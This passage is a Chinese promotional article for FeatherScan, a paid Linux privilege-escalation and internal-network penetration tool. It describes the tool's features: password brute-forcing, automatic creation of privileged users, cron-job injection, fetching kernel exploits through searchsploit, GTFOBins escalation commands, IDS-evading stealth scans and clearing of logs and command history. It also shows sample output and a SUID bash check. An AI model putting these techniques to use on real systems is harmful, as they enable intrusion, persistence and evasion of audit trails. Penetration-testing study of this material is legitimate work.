TCP端口扫描），三种网络模式扫描，不忽漏掉每一个内网机器 端口扫描：支持常见服务端口识别 服务识别：自动检测开放服务及版本信息 隐身模式：慢速扫描避免触发IDS/IPS 常见的端口扫描3. 横向移动检测SSH密钥重用检测、密码爆破（SSH, MySQL, PostgreSQL, SMB等）、SMB共享匿名访问检测、数据库服务爆破等等。4. 特权提升检测SUID/SGID危险文件检测、sudo权限深度分析、可写路径检查、内核漏洞匹配（脏牛、脏管道等）、密码哈希分析、自动化漏洞利用（不需要联网）等等5. 安全痕迹管理自动备份/恢复修改文件、安全删除临时文件（7次覆盖）、命令历史清除、日志文件清理、内存缓存清除、本地爆破记录删除技术特点 智能交互式扫描动态启用深度检查、按需开启内网渗透扫描、交互式服务爆破确认等等 混合扫描技术ICMP Ping扫描、ARP缓存分析、TCP端口扫描、服务指纹识别等等 权限提升自动化自动添加特权用户、sudo权限自动化配置、定时任务注入、内核漏洞EXP自动下载等等 安全痕迹管理操作全程跟踪记录、多轮覆盖安全删除、服务专用日志清除等等 使用示例# 基础扫描 chmod +x FeatherScan ./FeatherScan ​ # 启用深度检查+内网扫描 [?] 是否执行深入检查? y [?] 是否执行内网渗透扫描? y [?] 是否启用隐身模式? n输出示例​ ███████╗███████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗ ██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗ █████╗ █████╗ ███████║   ██║   ███████║█████╗ ██████╔╝ ██╔══╝ ██╔══╝ ██╔══██║   ██║   ██╔══██║██╔══╝ ██╔══██╗ ██║     ███████╗██║ ██║   ██║   ██║ ██║███████╗██║ ██║ ╚═╝     ╚══════╝╚═╝ ╚═╝   ╚═╝   ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ​       高级Linux特权提升扫描工具     泷羽Sec安全团队 | 白小羽 | v4.0 ​ =================================================== 工具描述 ================================================= 1、Linux内网信息收集，全面收集操作系统/内核版本、环境变量、用户信息等关键数据 2、检测敏感文件权限、容器环境、服务配置等安全风险点,分析历史命令、环境变量、SSH配置等潜在攻击向量 3、智能主机发现（ARP/Ping/TCP混合扫描）,多协议服务爆破（SSH/MySQL/SMB等）,网络路由分析、DNS配置检测和代理设置审查 4、SUID/SGID文件扫描与危险程序识别,内核漏洞数据库匹配（脏牛、脏管道等）,Sudo规则审计与配置弱点分析 5、Docker逃逸路径检测和容器安全评估,隐身扫描模式（避免触发IDS）,自动化痕迹清除机制,敏感信息掩码保护 ​ [-] 系统信息 [+] 当前用户: root [+] 主机名: Kali [+] 操作系统: Kali GNU/Linux Rolling [+] 内核版本: 6.12.25-amd64 [+] 扫描开始时间: Thu Jul 10 05:42:16 AM EDT 2025 ​ [?] 是否执行深入检查? 普通检查: 快速检测常见提权向量 (SUID, 可写文件, 内核漏洞等) 深入检查: 包括普通检查 + 服务爆破 + 敏感文件深度扫描 [y/N] y [+] 深入检查已启用 ​ [?] 是否执行内网渗透扫描? 内网扫描: 主机发现、端口扫描、横向移动检测 [y/N] n ​ ################ 完整系统信息 ################ ​ [-] 系统信息: 主机名: Kali 操作系统: Kali GNU/Linux Rolling 内核版本: 6.12.25-amd64 系统架构: x86_64 运行时间: up 3 days, 22 hours, 52 minutes ​ [-] 用户信息: 当前用户: root 用户ID: uid=0(root) gid=0(root) groups=0(root) 特权用户: root test featheruser 。。。。。。。。。。。。。。。。。。。。。。。使用建议 授权测试：仅在获得明确授权的环境中使用 深度扫描：对关键系统启用深入检查模式 痕迹管理：扫描完成后使用内置清理功能 字典定制：根据目标环境定制pass.txt密码字典 2025.7.28 v4.5继上一篇本次也算是一个大更新1、融入了exploit-db离线Linux内核提权漏洞库，联动searchsploit工具，更方便的简化了渗透测试提权的过程2、融入了GTFOBins常用提权命令共50+个，比如常见的find，sh，pkexec，sudo，nmap，vim，less，tcpdump，Docker，zip，tar等等命令进行提权3、新增了常见的CMS敏感配置文件扫描，比如django，wordpress，joomla等等，通常用来查看数据库的账号密码4、新增敏感环境变量提权模块——PATH提权5、新增相关的免责条款，若不接受，则不能使用该工具下面来看看更新了哪些内容吧，首先是免责条款新增GTFOBins 50+命令提权新增内置GTFOBins提权数据库，无需联网，GTFOBins中的大部分提权方法皆可以利用！！并且满足一定的条件才会输出给你，比如suid，sudo，可读/可写等等，不满足任何一个条件，都不会告诉你利用方法（命令使用准确率还在优化）新增提权总结，以及使用方法，和成功率告知新增CMS常用配置文件检测新增敏感环境变量提权—PATH提权提权效果展示以及path提权，也会将提权方法在程序结束前告知新增exploit-db漏洞库新增Linux内核提权漏洞库（基于searchsploit），这里以tr0ll靶机为例子首先我们需要在Kali中创建自己的漏洞数据库（使用脚本的好处就是这个漏洞库 exploit-db 也就是searchsploit漏洞库是会更新的，使用命令searchsploit -u更新本地漏洞库），执行generate_vuln_db.sh会生成一个漏洞库的txt文件，主要是筛选Linux提权的漏洞将这个txt文件和FeatherScan同时上传到靶机上，使用FeatherScan就会利用内置强大的版本比较算法，进行检测，执行到最后我们得知漏洞编号之后，在Kali中就直接将使用searchsploit -m [编号]复制到当前目录，并使用python开启一个http服务上床到靶机上提权成功！其他细节优化更新了，系统存在bash -p命令提权，但是不出现提权信息问题（因为SUID和SGID同时存在，所以不能使用=4来进行判断）# 靶机 -bash-5.0$ ls /usr/bin/bash -l -rwsr-sr-x 1 root root 1183448 Feb 25  2020 /usr/bin/bash ​ -bash-5.0$ stat -c '%a' "/usr/bin/bash" | cut -c 1 6修改后的执行结果新增手动选择是否尝试进行提权（文件可写的情况下），不然写入会导致一些问题工具获取加入泷羽Sec帮会即可（长期更新中。。。）单独购买不方便获取最新版本，优惠最后两天，错过只能等国庆节了。。。。获取方式加入泷羽Sec内部Freebuf帮会即可获取最新版本，往期版本会不定期在github上进行更新，在帮会主页中找到帮会网盘，即可下载工具啦，这工具没有那么高大上，只是简化了linux内网信息收集，端口扫描，内核漏洞利用，内网探测，痕迹清除等等，理性消费加入方式扫码即可更多福利点击查看https://mp.weixin.qq.com/s/ROMh7U4xj9nXqlKzBFd2WATips：一天存10块，一个月就是3000，一年就是36w，十年就是3600w，3600w可以干什么？上海一套别墅，记得买个带独立机房的，防震防溯源！一个稳定的家庭，给爸妈在老家盖栋最气派的养老别墅，请最好的管家和医护，医护团队人均CISSP+OSEP，至少也是OSCP。一台迈巴赫s680，车窗贴膜要用防弹级的，毕竟可能装满了0day漏洞报告！打工？还打什么工？老板？哪个老板？10年后你自己就是董事长！所以从现在开始养成一个好习惯，只要10年，从此只挖洞不上班，甲方需求全拉黑，开源项目随便PR！看到这里，您觉得这79块钱还贵吗？不过只是您的冰山一角，少买一个吃灰的云服务器，也就您吃的一顿科技料理的外卖，够我吃10顿。从现在开始投资自己吧。10年之后咱们顶峰相见、、、、、、那时候如果您还觉得贵，请开着您的迈巴赫来嘲讽我这个弱智，我将毫无怨言免责声明FeatherScan仅限合法安全审计和授权渗透测试使用。使用者应遵守当地法律法规，未经授权使用本工具造成的任何后果由使用者自行承担。文章首发于：https://longyusec.com/longyushoulu/450/泷羽Sec安全团队 | 白小羽 | 2025往期推荐Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_Docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透一个永久的渗透知识库